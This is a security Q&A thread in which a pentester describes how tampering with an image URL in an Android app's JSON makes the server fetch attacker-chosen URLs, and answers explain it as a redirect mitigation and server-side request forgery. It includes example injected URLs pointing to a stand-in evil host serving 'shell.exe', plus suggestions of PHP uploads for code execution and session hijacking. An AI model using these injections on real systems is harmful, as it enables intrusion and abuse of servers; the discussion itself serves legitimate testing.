2

I am busy with a pentest and found something that made me wonder if it would be exploitable. I am currently not able to exploit it, but I wanted to make sure. Also I am curious why the application/server behaves as it does.

This is the functionality:

  • The application lets you upload pictures to the cloud and gives back an URL where the picture then is
  • The application then sends that return URL to the server where it is stored so that other people find the pictures through the URL
  • Based on some parts of the URL the users get a certain different URL back in a JSON document with all the pictures:

https://res.cloud.com/app/image/something/picture1.jpg

turns into:

{"URL":"https://res.cloud.com/app/image/param1,param2,param3/something/picture1.jpg"}

  • That JSON document is then used to create GET requests to the exact URL (second one)

This is the "vulnerability":

  • Changing the URL to the following:

    http%73://myevilurl.org/pic1.jpg?https://res.cloud.com/app/image/something/picture1.jpg

  • the user then gets something back in the JSON document in the form of:

    {"URL":"http%73://myevilurl.org/pic1.jpg?https://res/cloud.com/app/image/something/picture1.jpg"}

  • Which I would expect the application to just try to GET, but the application somehow does a GET request to:

    https://RootServerOfApplication.com/NameOfApplication/^^The URL above with https instead of http%73^^

As this is an ongoing test I cannot really go into huge detail (confidentiality and all!). So I hope this provides enough information.

EDIT: What I failed to mention above is that when I tamper with the incoming JSON and just put any URL with HTTPS in the JSON string the application tries to GET that precise URL. So I change the JSON to something like this:

{"URL" : "https://myevilurl.org/shell.exe"}

The application actually tries to GET shell.exe from my server. This does not work when I try it with %73 instead of an s.

Edit2: What I also failed to mention is that this is an android app.

4
  • Have you tried to use the file upload to get a shell? Since you know the URL could you upload some PHP and get RCE? Mar 14 '17 at 8:24
  • See my answer I found out how it works! :D And indeed next on my list is actually uploading more than just images and put some malicious code on there!
    – Wealot
    Mar 14 '17 at 8:27
  • Sounds fun! I would probably have started with RCE attempts then SSRF and finally injection, different methodology I guess Mar 14 '17 at 8:38
  • Is mostly because I started with inspecting the traffic through BURP. From there you go to tampering with what goes through and finding out the inner workings.
    – Wealot
    Mar 14 '17 at 8:39
3

What you are witnessing is probably a mitigation for a common vulnerability, OWASP 2013 A10, Unvalidated Redirects and Forwards.

If the application simply redirected to the URL found in the JSON, verbatim, you'd have a problem. Basically anyone who tampers with that JSON could send your browser anywhere they want. This is called an unvalidated redirect.

But the application doesn't do that. Instead, it redirects to a handler within the RootServerOfApplication.com domain, passing the URL from the JSON document as an argument.

Presumably, RootServerOfApplication.com/NameOfAplication takes a look at the URL and ensures it is valid (e.g. maybe it makes sure the domain is in a white list, one that presumbly includes cloud.com). This mechanism would prevent it from forwarding an end user to myevilurl.org.

You should check it out. Try pasting https://RootServerOfApplication.com/NameOfApplication/^^The URL above with https instead of http%73^^ directly into your browser and see where it takes you.

1
  • When trieing out the pasting of "that" URL I get an error response when the URL has a /?params part. But when I just put anything behind /NameOfApplication/ then I just get a 404 not found back.
    – Wealot
    Mar 14 '17 at 7:44
1

This issue is a Server-Side Request Forgery vulnerability. You can use it to send HTTP GET requests as the vulnerable server. This could be used to route HTTP requests to the internal network or to IP restricted cloud deployments.

Additionally, this is a HTTP GET proxy, so you could use it to deliver HTTP GET-based exploits while obscuring your IP address. Loading a valid SWF (even with an incorrect content-type) can be used to hijack browser sessions.

0
0

Thank you all for the very good answers that helped me further! What I learned was actually that the URL was stripped at a certain point in the URL (/point/). If that wasn't there the server started doing "weird" things like redirecting to /AppName/***. But when I inject an image like this:

https://www.evilurl.org/?point/something

I do get an actual GET request to my evilurl. So it is an URL injection vulnerability.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.